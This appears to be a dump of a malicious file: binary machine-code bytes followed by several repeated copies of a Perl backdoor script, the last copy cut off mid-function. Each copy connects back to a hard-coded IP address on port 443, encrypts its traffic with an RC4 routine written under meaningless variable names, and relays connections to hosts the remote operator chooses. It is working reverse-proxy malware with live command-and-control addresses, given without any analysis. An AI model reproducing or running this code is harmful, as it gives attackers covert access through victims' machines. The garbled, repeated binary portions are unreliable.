DžDžf̀MIDžDžDžDž"DžDžZ̀AdUJJUpEE+EM싕UDž@DžDž f̀t?|:EDž}u"t2UDž) 2Dž Dž3ɸ̀̀][̀u ̀U|xtp2󪋝|xtpt G5fDžfDž5DžDžDžf̀Džf̀Dž@DžDž f̀DžDžDžf̀DžDž@DžDž f̀̀)3t!fzuJ T u fzuB _^ZYU,]MUuEEEEE EEEMԸf̀EEEEEEEMԸf̀EEEEEEEMԸf̀EEEEEEEMԸf̀UW]}u+}O_U]EEE Mf̀]̀UQRVWE 33ۊGt 0e_^ZYÉx̀U]|2]|L̀u|]|K̀U<]̉MȉUč}2EEEEMиf̀Et(t.u}̹EEEEEEEEMиf̀]t4bS/U H >4*EM̀ kLu= k7EE]3ɸ̀Up|UxE}ȹ2}2}ع2󪍲}󤍲}󤍲}󤍲}󤍲}EEEEEEEEEEEMf̀]7̀ ]и7̀xzuMfE EEfBfEr}EEEEEMf̀pfEzu'JfD fED Z EzuBEfB fEEEEȉEEMf̀EEfEfE]'̀uL]7̀5]и7̀]< ( EEu}ؤfE t2Uؾ0t2U۾ ]Mغ uOt2Uؾ}UM<EEfEfE]d̀tŃ|xEEBEEE@EE Mf̀tk|fxMfB Et2x/xt2RuE]xUuEUM] fEt2Uؾ]Mغux[̀|[̀̀UtEEDžDžDž 2C̀DžDžDžDž"DžDžZ̀E0 8}25t}2UfB2t2R22qMd}EfEfE]`̀|ȃu]}}t2fU}u }fzu<:uzuDžzszvJDŽJJ+MEDDž@DžDž f̀EUfEf;Bt2RuU:DžDžDžDž"DžDžZ̀Ћu􋽬E@󤍅zt2DžDžDžf̀0Dž DžDžf̀MIDžDžDžDž"DžDžZ̀AdUJJUpEE+EM싕UDž@DžDž f̀t?|:EDž}u"t2UDž) 2Dž Dž3ɸ̀̀][̀u ̀U|xtp2󪋝|xtpt G5fDžfDž5DžDžDžf̀Džf̀Dž@DžDž f̀DžDžDžf̀DžDž@DžDž f̀̀)3t!fzuJ T u fzuB _^ZYU,]MUuEEEEE EEEMԸf̀EEEEEEEMԸf̀EEEEEEEMԸf̀EEEEEEEMԸf̀UW]}u+}O_U]EEE Mf̀]̀UQRVWE 33ۊGt 0e_^ZYÉx̀U]|2]|L̀u|]|K̀U<]̉MȉUč}2EEEEMиf̀Et(t.u}̹EEEEEEEEMиf̀]t 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.157'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.156'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.253'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; 